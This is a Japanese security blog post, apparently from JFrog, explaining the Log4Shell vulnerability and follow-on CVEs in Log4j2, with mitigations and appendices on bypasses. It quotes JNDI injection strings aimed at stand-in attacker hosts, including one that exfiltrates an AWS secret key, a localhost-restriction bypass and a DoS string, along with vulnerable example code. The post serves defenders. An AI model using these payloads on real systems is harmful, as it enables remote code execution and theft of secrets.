Log4Shell ゼロデイ: 知っておくべきこと

2021/12/14 更新 ー シリアライズド Java オブジェクト バイパスの説明を付録Bに追加

2021/12/15 更新 ー LOG4J_FORMAT_MSG_NO_LOOKUPS による緩和策のバイパステクニック(CVE-2021-45046 を利用したもの)の説明を付録Cとして追加

2021/12/17 更新ー 2.15.0 のリモートコード実行エクスプロイトに関する情報を付録Dとして追加(新しい緩和策のバイパスによるもの)

2021/12/19 更新 ー CVE-2021-45105 の影響分析を付録Eとして追加

先週の木曜日、Alibaba Cloud Security Teamの研究者が、非常に人気の高いJava用 log4j ロギングフレームワーク(具体的にはLog4j2と呼ばれる2.xブランチ)を標的としたゼロデイのリモートコード実行エクスプロイトをTwitterに投稿しました。この脆弱性はアリババクラウドセキュリティチームが11月24日に発見し、Apacheに報告したものです。MITREはこの脆弱性に CVE-2021-44228を割り当て、それ以来セキュリティ研究者の間ではLog4Shellと呼ばれています。

 


JFrog は、Log4J の存在やリスクを把握するOSSツールをリリースしました
スキャンツールのダウンロード

12/9 以降この脆弱性は、容易にエクスプロイトが可能で(攻撃可能なPoCが公開済み)、そしてLog4jが非常に人気があることから、多数の実際の攻撃が報告されメディアやソーシャルネットワークで広く扱われました。

このブログでは、この問題のエクスプロイト ベクトルを明らかにし、何が脆弱であるかについての正確な研究に裏付けられた新しくかつ正確な情報を提供し(ネット上では不正確な情報もありました)、log4j を容易にアップグレードできないベンダのための改善策を提案し、さらに JFrog 社に寄せられた切実な質問に答えます(ここ数日で出回った緩和策の有効性など)。

重要:JFrog 製品は、log4j-core パッケージを使用していないため、影響を受けません。

Log4Shellの脆弱性の原因は何か?

Log4j2は、”Message Lookup Substitution” と呼ばれるログ機能をデフォルトでサポートしています。この機能は、特定の特別な文字列をロギング時に動的に生成された他の文字列に置き換えます。例えば、Running ${java:runtime}という文字列をロギングすると、次のような出力になります。

Running Java version 1.7.0_67

ルックアップメソッドの1つである JNDI ルックアップ(JNDI は、Java Naming and Directory Interface の略で、Java アプリケーションにネーミングとディレクトリ機能を提供するインタフェース)、特に LDAP を利用した JNDI ルックアップにおいて、指定されたJava クラスをリモートソースから取得しメモリ展開してクラスのコードの一部を実行することが発見されました。

つまり、ログに記録された文字列の一部がリモートの攻撃者によって制御可能な場合、その攻撃者はその文字列をロギングしたアプリケーション上でリモートコードの実行を実現できることになります。

この問題を利用した最も一般的な置換文字列は以下です。

${jndi:ldap://somedomain.com}

この脆弱性は、以下のプロトコルでも攻撃可能です(一部のプロトコルはデフォルトでは使用できない場合があります)。

${jndi:ldaps://somedomain.com}

${jndi:rmi://somedomain.com}

${jndi:dns://somedomain.com} (脆弱なサーバの検出が可能。コードの実行には至らない)

基本的な攻撃の流れは、下図のとおりです。

なぜLog4Shellは危険なのか?

CVSSスコアで最高の 10.0 を獲得したこの脆弱性は、様々な要因から極めて危険です。

  1. エクスプロイトが容易であり、GitHub やその他の公開ソースで公開されている大量のエクスプロイトコードが使用できる 
  2. Log4j2 は、最も人気のある Java ロギングフレームワークの1つであり、現在、log4j-core(脆弱なアーティファクト)に依存している Maven アーティファクトは約 7,000  個、そしてそれを使用している Java プロジェクトも無数に存在する
  3. ランダムに HTTP サーバに以下のようなリクエストを送信することで、ドライブ バイ アタック(ユーザの許可なしに攻撃スクリプト等のダウンロード、実行を可能とする攻撃)のシナリオに容易に利用することができる:

GET / HTTP/1.1

Host: somedomain.com

User-Agent: ${jndi:ldap://attacker-srv.com/foo}

あるいは、XSStrike のような自動化されたツールを使って、利用可能なすべての HTML 入力フィールドにペイロード文字列を入力することで、特定のウェブアプリに対してブルートフォース攻撃をすることもできる。

4. コンテキストに依存するものの、任意のユーザ入力が Log4j2 のログ機能のいずれかには必ず到達するため(次のセクションを参照)、攻撃シナリオを作ることは容易。ほとんどのロギング シナリオでは、ログ メッセージの一部はユーザからの入力を含み、この種の入力は、安全であると考えられているため、ほとんどサニタイズされていない

脆弱性が利用できるのは具体的にどのような場合か?

Java アプリケーションに脆弱性が存在するためには、以下の条件がすべて満たされている必要があります。

  • Java アプリケーションが log4j (Maven パッケージ log4j-core) バージョン 2.0.0-2.12.1 または 2.13.0-2.14.1 を使用している(※ バージョン 2.12.2 は、 2.16.0 からのバックポート修正がなされているので脆弱ではない)
  • リモート攻撃者が次の API を通じて任意の文字列をロギングさせることができるー logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn()
  • 使用している Java JRE / JDK のバージョンが次のバージョンよりも古い
    • 6u211
    • 7u201
    • 8u191
    • 11.0.1

上記より新しいバージョンでは、JVM プロパティのcom.sun.jndi.ldap.object.trustURLCodebaseがデフォルトで false に設定されており、任意の URL のコードベースからのクラスの JNDI ロードが無効になっています。
ただし、脆弱なアプリケーションのクラスパスに特定の「ガジェット」クラスが存在するマシンではエクスプロイトされる可能性が依然残るため、Java の新バージョンにのみ依存することは危険であることにご注意ください。付録B の「より新しい Java バージョンでの Log4Shell のエクスプロイト」を参照ください。

  • Log4Shell 固有のパッチが適用されていない(以下の「アップグレードせずに問題を軽減できるか?」の項を参照)

JFrogの製品は脆弱か?

JFrog プラットフォーム ソリューションはこの脆弱性の影響を受けないことを、JFrog セキュリティ チームが検証済みです。Artifactory、Xray、Distribution、Insight、Access、Mission Control を含むどの製品も log4j-core パッケージを使用していません。

log4j-api パッケージは脆弱か?

いくつかの勧告では、Maven パッケージ  log4j-api は脆弱であるとしています。しかし、JFrog のセキュリティ リサーチ チームは、調査の結果 log4j-api 単体としては脆弱ではないと結論づけました。これは、JNDI ルックアップ機能がないことによる帰着で、脆弱性のあるコードを起動することで容易に判断できます。

log4j-api のみをインストールした状態で上記のコードを実行すると、以下のような出力が得られます。

ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...

同じコードを SimpleLogger クラスで実行すると、ルックアップ文字列はそのまま記録されますが、ルックアップコードはトリガーされません(存在しないので)。

この問題を完全に解決するにはどうするべきか?

この問題の最善の修正は、依存関係にある log4j をバージョン 2.16.0 にアップグレードすることです。これによりデフォルトで JNDI が無効になり、メッセージ ルックアップ機能が削除され、この問題を完全に解決します。

バージョン 2.15.0 にアップグレードすると、デフォルトの設定でリモート エ クスプロイトを完全に防ぐことができます。ただし、このバージョンで追加された緩和策のほとんどは、すでにバイパスされています(付録D 参照)。将来に備えて、できるだけ早く2.16.0 にアップグレードすることをお勧めします。

アップグレードせずに問題を軽減できるか

log4j のバージョンを脆弱性修正バージョンにアップグレードすることで問題を完全に解決することをお勧めしますが、アップグレードせずに問題を完全に緩和することは可能です。

緩和策1:log4j 2.10.0 以降のバージョンの場合は、ルックアップを無効にする

更新 ー この緩和策では、CVE-2021-45046 を利用することで、稀なデフォルト以外の設定時にバイパス可能となります。 詳細は付録C を参照ください。 新しい Log4j2 のバージョンにアップグレードできないベンダには、この緩和策1と次の緩和策2の両方を適用することを引き続き推奨します。緩和策2(脆弱なクラスの削除)は、CVE-2021-45046 の影響を受けません。

log4j 2.10.0 またはそれ以降のバージョンを使用している場合、システムの init スクリプトのうち1つで Java アプリケーションのロード前のタイミングで次のコマンドを実行して、環境変数LOG4J_FORMAT_MSG_NO_LOOKUPStrueに設定することにより、グローバルにメッセージルックアップを無効化することを推奨します。

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

あるいは、/etc/environment ファイルに次の行を追加することで、システム全体に対して無効化することもできます。

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

この方法は、すべての log4j 依存関係が適切に更新されていない疑いがある場合の追加保護対策になります。また、脆弱なバージョンの log4j を含むか依存しているパッチ未適用のサードパーティの Java パッケージから保護することもできます。

また、脆弱な Java アプリケーションを実行時に次のコマンドラインフラグを追加することで、JVM の特定の呼び出しに対してルックアップを無効にできます: ‐Dlog4j2.formatMsgNoLookups=True

例:

java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar

緩和策2:古いlog4jバージョンの場合は、脆弱なクラスを削除する

2.10.0 より古い log4j のバージョンを使用している場合、次のコマンドを実行することで、あらゆる Java アプリケーションからJNDI ルックアップクラスを削除できます。

find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/lookup/JndiLookup.class \;

これにより、カレントディレクトリから始まるすべての log4j-core の JAR ファイルを再帰的に検出し、そこから脆弱な JNDIルックアップクラスを削除します。完全な削除を行うには、このコマンドをシステムのルート・ディレクトリから実行します。

注意:この方法は最終的な手段としてのみ推奨されます。脆弱なJNDIルックアップクラスが、再帰的なJARファイルに組み込まれていたり、zipコマンドがアクセスできない場所に存在する可能性があるためです。この方法を選択する場合は、どの Java アプリケーションでも JNDIルックアップクラスを利用できないことを手動で確認することを強く推奨します。

JFrog Xrayでこの脆弱性を検出するにはどうすればよいか?

Xray は通常のスキャンにてCVE-2021-44228を検出します。いつものように CI/CD の一環で検出できるわけです。

JFrog CLI:

JFrog IDE プラグイン:

付録A

脆弱な例

リモートエクスプロイトが可能なアプリケーションの例(LunaSec社のアドバイザリより):

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

 

import java.io.*;

import java.sql.SQLException;

import java.util.*;

 

public class VulnerableLog4jExampleHandler implements HttpHandler {

 

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

 

  /**

   * A simple HTTP endpoint that reads the request's User Agent and logs it back.

   * This is basically pseudo-code to explain the vulnerability, and not a full example.

   * @param he HTTP Request Object

   */

  public void handle(HttpExchange he) throws IOException {

    String userAgent = he.getRequestHeader("user-agent");

 

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.

    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}

    log.info("Request User Agent:{}", userAgent);

 

    String response = "Hello There, " + userAgent + "!";

    he.sendResponseHeaders(200, response.length());

    OutputStream os = he.getResponseBody();

    os.write(response.getBytes());

    os.close();

  }

}

 

付録B –

より新しい Java バージョンでの Log4Shell のエクスプロイト

方法1:他のメッセージルックアップの悪用

新しい Java バージョンでは、JNDI のリモート クラス ローディングが無効になっていますが、メッセージ ルックアップ自体はまだ機能しており、さまざまな目的に濫用できてしまいます。

  1. 前述のように、${jndi:dns://dnsserver.com/somedomain} のような文字列を使用すると、犠牲者が dnsserver.com に DNS クエリを送信するようになります(somedomain の DNS レコードについてのクエリ)。これは、脆弱な log4j インスタンスを検出するために使用でき、データをトンネリングバックしたり、あるいは、DDoS 攻撃として使用できます(脆弱なサービスと併用して)。
  2. 犠牲者のマシンの機密情報を明らかにするいくつかのルックアップ置換があります。最も顕著なのはこのような攻撃文字列です。${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com/foo} この環境変数 AWS_SECRET_ACCESS_KEY が脆弱な log4j プロセスにエクスポートされていた場合、機密である AWS アクセスキーがリークする可能性があります(任意のプロトコルで可能)。当然のことながら、攻撃文字列は脆弱な log4j プロセスに存在する任意の環境変数値をリークするように変更できます。他の注目すべき情報漏洩のルックアップは以下の通りです。
    1. ${main:x} – コマンドライン引数 #x の値をリークします。この引数には、コマンドラインで渡されたパスワードやアクセスキーなどの機密データが含まれている可能性があります。
    2. ${sys:propname}Java システムプロパティの値をリークします。例えば、現在のユーザ名(user.name)をリークさせるのに利用できます。

方法2:他のメッセージルックアップの悪用

この Veracode社のブログで網羅的に説明されているように、リモート逆シリアライゼーションが無効になっている新しいバージョンの Java であっても、JNDIインジェクションをエクスプロイトする方法があります。

例えば、org.apache.naming.factory.BeanFactoryクラス(通常、Apache Tomcatサーバに同梱されている)が、log4j を使用する脆弱なアプリケーションのクラスパスで利用可能な場合、基盤となる JRE/JDK のバージョンに関係なくLog4Shell 脆弱性をエクスプロイトしてリモート コードを実行できます。

これは、より新しいバージョンの Java がリモートの任意のクラスを逆シリアライズしないとしても、攻撃者は供給された JNDI リファレンスを通じて、ファクトリ クラスとその属性を制御できるという事実によるものです。

 

リモート攻撃者は、任意のファクトリ クラスを提供することはできませんが、脆弱なプログラムのクラスパスにある任意のファクトリ クラスをガジェットとして再利用できます。

使用可能なファクトリ クラスは以下のような特性を持っています。 

  • 脆弱なプログラムのクラスパスに存在する
  • ObjectFactory インタ フェースを実装している
  • getObjectInstanceメソッドを実装している
  • Referenceの属性で危険な動作を行う

JFrog リサーチ チームは、Reflectionの 危険な使用により、BeanFactoryクラスがこの条件に当てはまることを確認しました。攻撃者が制御できる Reflection の文字列属性のみに基づいて、任意の Java コードオブジェクトが作成されます。

このブログでは、脆弱なアプリケーションのクラスパスにBeanFactoryクラスが存在するマシン上で、新しい Java バージョンの Log4Shell を悪用するために使用できる、適切なReflection を持つ RMI サーバをホストするための完全なエクスプロイトコードを参照しています。

このようなサーバを使用する場合の Log4Shell 攻撃文字列は次のようになることに注意してください。

${jndi:rmi://attacker-srv.com/foo}

ただし、提供される RMI サーバは、ldap または ldaps サーバに変更することもでき、その場合、攻撃文字列はそれに応じて変更されます。

今後、BeanFactoryクラスのような他の “ファクトリ ガジェット” が発見される可能性があるため、Log4Shell に対する唯一の対応策として新しい Java バージョンに頼ることをせず、log4j のアップグレードおよび/またはJFrog が提案する緩和策のいくつかを実施することを強く推奨します。

方法3:ローカル ガジェット クラスを持つシリアライズされたJavaオブジェクトの使用

前述のように、素朴な攻撃ベクトルは、Log4j2 を使用した脆弱なアプリケーションに対して、(通常は)LDAP 経由でリモートのシリアライズされたクラスを取得させ、ロードを仕向けるものです。これにより、攻撃者はクラスのコンテンツを完全に制御することができます。

しかし、LDAPは、javaSerializedData属性を使用して LDAP リクエスト自体でシリアライズされた Java オブジェクト(クラスのインスタンス)を送信することもサポートしています。
オブジェクトの逆シリアライズは、オブジェクトのクラスが現在のクラスパス(クラス検索時に参照されるディレクトリや JAR ファイルのリスト)に存在する場合にのみ可能です。
重要なことは、オブジェクトを逆シリアライズする場合にはtrustURLCodebaseによる緩和策は効果がないということです。なぜなら、この緩和策は新しいコードベースのロードを防ぐだけだからです。

特定のオブジェクトが逆シリアライズされると、リモートコード実行に直結することはよく知られています。これらのオブジェクトのベースとなるクラスは、俗に「ガジェット」と呼ばれています。
例えば、ysoserial proof-of-conceptツールは、これらのよく知られたガジェットのいくつかを集約し、任意のコード実行ペイロードを持つオブジェクトの生成を行えます。

したがって、特定の「ガジェット」クラスが脆弱なアプリケーションのクラスパスに存在することを知っている攻撃者は、そのようなオブジェクトを生成してLDAP経由で送信することで、javaSerializedData属性に関係なく逆シリアライズされたときにコード実行が可能になります。

さらに、上述した Log4Shell の情報漏洩の特性により、攻撃者は、最初に脆弱なアプリケーションから特定のシステム プロパティを照会し(再帰的な検索を使用して)、脆弱なアプリケーションにガジェット クラスが存在するかどうかを判断し、リモート コードを実行するためにターゲット固有のペイロードを構築する完全に自動化されたツールを構築することができるかもしれません。

今日まで、このようなツールが一般に公開されたり、使用されたりしている形跡はありませんが、残念ながら、この悪意のあるキャンペーンはまだ終わっていないと考えています。

 

付録C-

CVE-2021-45046 を利用した、LOG4J_FORMAT_MSG_NO_LOOKUPSによる緩和策のバイパスについて

まず知っておくべき事実は、このバイパスを実現するための前提条件がそろうことは稀なため、大多数のケースではLOG4J_FORMAT_MSG_NO_LOOKUPSの緩和策は有効であるということです。

CVE-2021-45046 が公開されたことにより、提案されている緩和策の1つである「メッセージ ルックアップの無効化」が、デフォルト以外の特定の設定時にはバイパスできることが公になりました。

結論としてはLog4j2 2.10.0 – 2.14.1 において CVE-2021-45046 のエクスプロイトが可能であれば、環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPSによる緩和策と、システム プロパティlog4j2.noFormatMsgLookupによる緩和策の両方が攻撃者によってバイパス可能です。

では、CVE-2021-45046のエクスプロイトが可能となる条件は何でしょうか?

(これは、同様の条件例を実装したコミュニティプロジェクト log4shell-vulnerable-app の功績によります)

  1. 新たなパターンレイアウトをLog4j2に追加している。さらにそれがコンテキスト・ルックアップ(${ctx:)を使用している。脆弱な log4j2.propertiesファイルの例は以下のとおり:

    # vulnerable in 2.14.1 even with ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true
    appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

    Log4j2 の設定は、様々な方法で行うことができ、いずれにしても、デフォルトのコンテキスト ルックアップ パターンのレイアウトではないことに注意してください。

  1. Thread Context の Map 機能を使用している。ここはが例えば攻撃者が入力データをコントロールできるポイントとなる。例は以下:

    public void handle(HttpExchange he) throws IOException {
        // userAgent is attacker-controlled
        String userAgent = he.getRequestHeader("User-Agent"); 
         
        // Note that 1st argument matches the variable name from the configured pattern
        ThreadContext.put("useragent", userAgent); 
         
        // The log message itself doesn't need to contain any message lookup
        log.info("Received a request with User-Agent");
        ...

これらの条件が共に成立する場合、攻撃者は攻撃用トークンを「通常通り」に送信することができます。例えば、攻撃者は次のような HTTP リクエストを送信することができます。

GET / HTTP/1.1
Host: somedomain.com
User-Agent: ${jndi:ldap://attacker-srv.com/foo}

このようなHTTPリクエストにて、LOG4J_FORMAT_MSG_NO_LOOKUPSによる緩和策を施していてもコード実行が成功します。

更新ー @pwntester がツイートした、脆弱なパターンの例を紹介します。

MapMessage

パターン レイアウト例:

appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%n

ユーザ管理データを渡す Java コードの例 (TAINTED):

MapMessage msg = new StringMapMessage().with("message", "H").with("tainted", TAINTED);
logger.error(msg);

 

Jackson (Jackson がアプリケーションのクラスパスに存在する場合のみ)

パターン レイアウト例:

appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%n

ユーザ管理データを渡す Java コードの例 (TAINTED):

logger.info(new ObjectMessage(TAINTED));

StructuredDataMessage

パターン レイアウト例:

appender.console.layout.pattern = ${sd:tainted} - %-5p %c{1}:%L - %m%n

ユーザ管理データを渡す Java コードの例 (TAINTED):

StructuredDataMessage m = new StructuredDataMessage("1", "H", "event");
m.put("tainted", TAINTED);
logger.error(m);

 

付録D –

Log4j2 2.15.0 のエクスプロイトによるリモートコード実行

Log4j2 2.15.0 では、Log4Shell (CVE-2021-44228) のエクスプロイトを防ぐため、いくつかの重要な緩和策が追加されています。

以下は、追加された緩和策とその現在のバイパス可否状況です。

  1. メッセージ ルックアップはデフォルトで無効 ー バイパス可  (CVE-2021-45046 等)
  2. allowedJndiProtocols [JNDI に、デフォルトで LDAP, LDAPS, Java (local) のプロトコルのみを許可] ー 既知のバイパス無し
  3. allowedLdapHosts [JNDI over LDAP に、デフォルトではローカルホストにのみアクセスを許可  (127.0.0.1/localhost)  ー 常にバイパス可
  4. allowedLdapClasses [ JNDI over LDAP に、デフォルトで Java のプリミティブ クラスのみロードを許可 ] ー 常にバイパス可

緩和策3および緩和策4がバイパス可能であり、このエクスプロイトはリモートコード実行(RCE)に直結するため、CVE-2021-45046 の深刻度は「低」(3.7)から「重要」(9.0)にアップグレードされました。

ただし前述のとおり、CVE-2021-45046 をエクスプロイトするための前提条件は、まれなデフォルト外設定を必要とすることから、成立する可能性は極めて低いと考えています。

以下は、いくつかの具体的なバイパスについての詳細です。

「メッセージ ルックアップのデフォルト無効化」の場合:

この緩和策は、以下の方法で回避することができます。

  1. 付録 C で言及した構成のいずれか
  2. アプリケーションが明示的にメッセージ ルックアップを許可している場合、構成ファイルのいずれかで %m{lookups} を含むパターン レイアウトを定義している。例: appender.console.layout.pattern = %m{lookups}

前述のとおり、Log4j2 2.15.0 においてこの緩和策をバイパスされると、現在のところリモートコード実行に直結します。

「JNDI over LDAP に、デフォルトではローカルホストにのみアクセスを許可」の場合:

@marcioalm 氏のツイートによると、 ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} のような攻撃文字列は、ローカルホストの制限をバイパスし、リモートの evilhost.com にコネクトさせます。

「JNDI over LDAP に、デフォルトで Java のプリミティブ クラスのみロードを許可」の場合:

残念ながら、プリミティブ クラスの比較は名前のみで行われるため、プリミティブ クラスのチェックは不完全な形で実装されていました。そのため攻撃者は LDAP レスポンスにシリアルライズされた任意のオブジェクトを指定し、その javaClassName をプリミティブ タイプのいずれかに設定することで、チェックを回避することができます。

private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName(),
Byte.class.getName(), Character.class.getName(), Double.class.getName(), Float.class.getName(),
Integer.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName());

前述のシリアライズされたオブジェクトのバイパスと同様に、これはシリアライズされたオブジェクトの適切な「ガジェット」クラスがローカルのクラスパス中に存在するかどうかに依存しています。

 

付録E –

CVE-2021-45105 の影響分析

最近、Log4j2 への新たなサービス拒否の CVE が公開されました – CVE-2021-45105、CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)です。

JFrog セキュリティチームは、バージョン 2.16.0 の CVE データと記載内容を検証し、CVSSを 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)と推定しました。

この推定は、以下に基づいています。

CVE エクスプロイトの前提条件

CVE には明示されていませんが、この攻撃の前提条件は CVE-2021-45046 とまったく同じです。つまり、攻撃者はパターンレイアウトのうちメッセージ以外の部分を制御する必要があります
したがって、CVE に記載されているエクスプロイト ケース(「スレッド コンテキスト マップを制御する攻撃者」)は、適用可能なケースの1つに過ぎません。
実際には、攻撃者は 付録 C で言及したデフォルト以外の構成を濫用することができます。例えば、MapMessage を含む構成パターンは、(攻撃者が汚染された変数を制御している限り)アプリケーションをこの CVE に対して脆弱にします。

appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%n

JFrog の見解では、このようなデフォルトではない(可能性の低い)設定が必要となるため、この問題の攻撃の複雑さは「高」になります。

DoS 攻撃の影響

公開されている攻撃文字列  ${::-${::-${}}} を、脆弱な設定の Log4j2 バージョン 2.16.0 で実行すると、IllegalStateException が発生します。

この文字列は、過剰なCPUやメモリの使用を引き起こさないため、DoSの影響(もしあったとしても)は、システム全体に影響を与えるものにはならないはずです。

デフォルトでは、Log4j2 Appendersでは例外は無視されるため(ログに記録されるのみ)、例外がサーバをクラッシュさせることはなく、DoS の影響は完全に軽減されます。

private void handleAppenderError(final LogEvent event, final RuntimeException ex) {
appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);
if (!appender.ignoreExceptions()) { // ignoreExceptions=true, by default
throw ex;
}
}

オフィシャルな修正

この問題は、Log4j2 をバージョン 2.17.0 にアップグレードすることで修正できます。

公式の修正プログラム(バージョン2.17.0)では、PoC のエッジケースを処理するためにStrSubstitutorのロジックを変更し、同様の入力に直面しても例外を生じないようにしています。
レガシー(Java 7)ユーザ向けには、この問題を修正したバージョン 2.12.3 がリリースされることが示唆されていますが、本稿執筆時点ではそのようなバージョンはありません。

 

緩和策

この問題は JNDI に関連していないため、これまで述べてきた緩和策(JNDI ルックアップクラスの削除等)では、この問題を緩和できません。

この問題を緩和するためには、例外が無視されないようなデフォルト以外のケースでは、ベンダはロギングコードを例外ハンドラでラップすることで、DoS に及ばないようにすることができます。

 

要約すると:このCVEは現在のところ、実稼働中の Web アプリケーションに現実的な脅威をもたらすものではないようです。
前述のとおり、JFrog による CVSS 推定値は 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)です。
ベンダには、2.16.0 のデプロイメントを 2.17.0 にアップグレードする前に、古い Log4j2 を2.16.0 にアップグレードすることに注力することをお勧めします。


JFrog は、Log4J の存在やリスクを把握するOSSツールをリリースしました
スキャンツールのダウンロード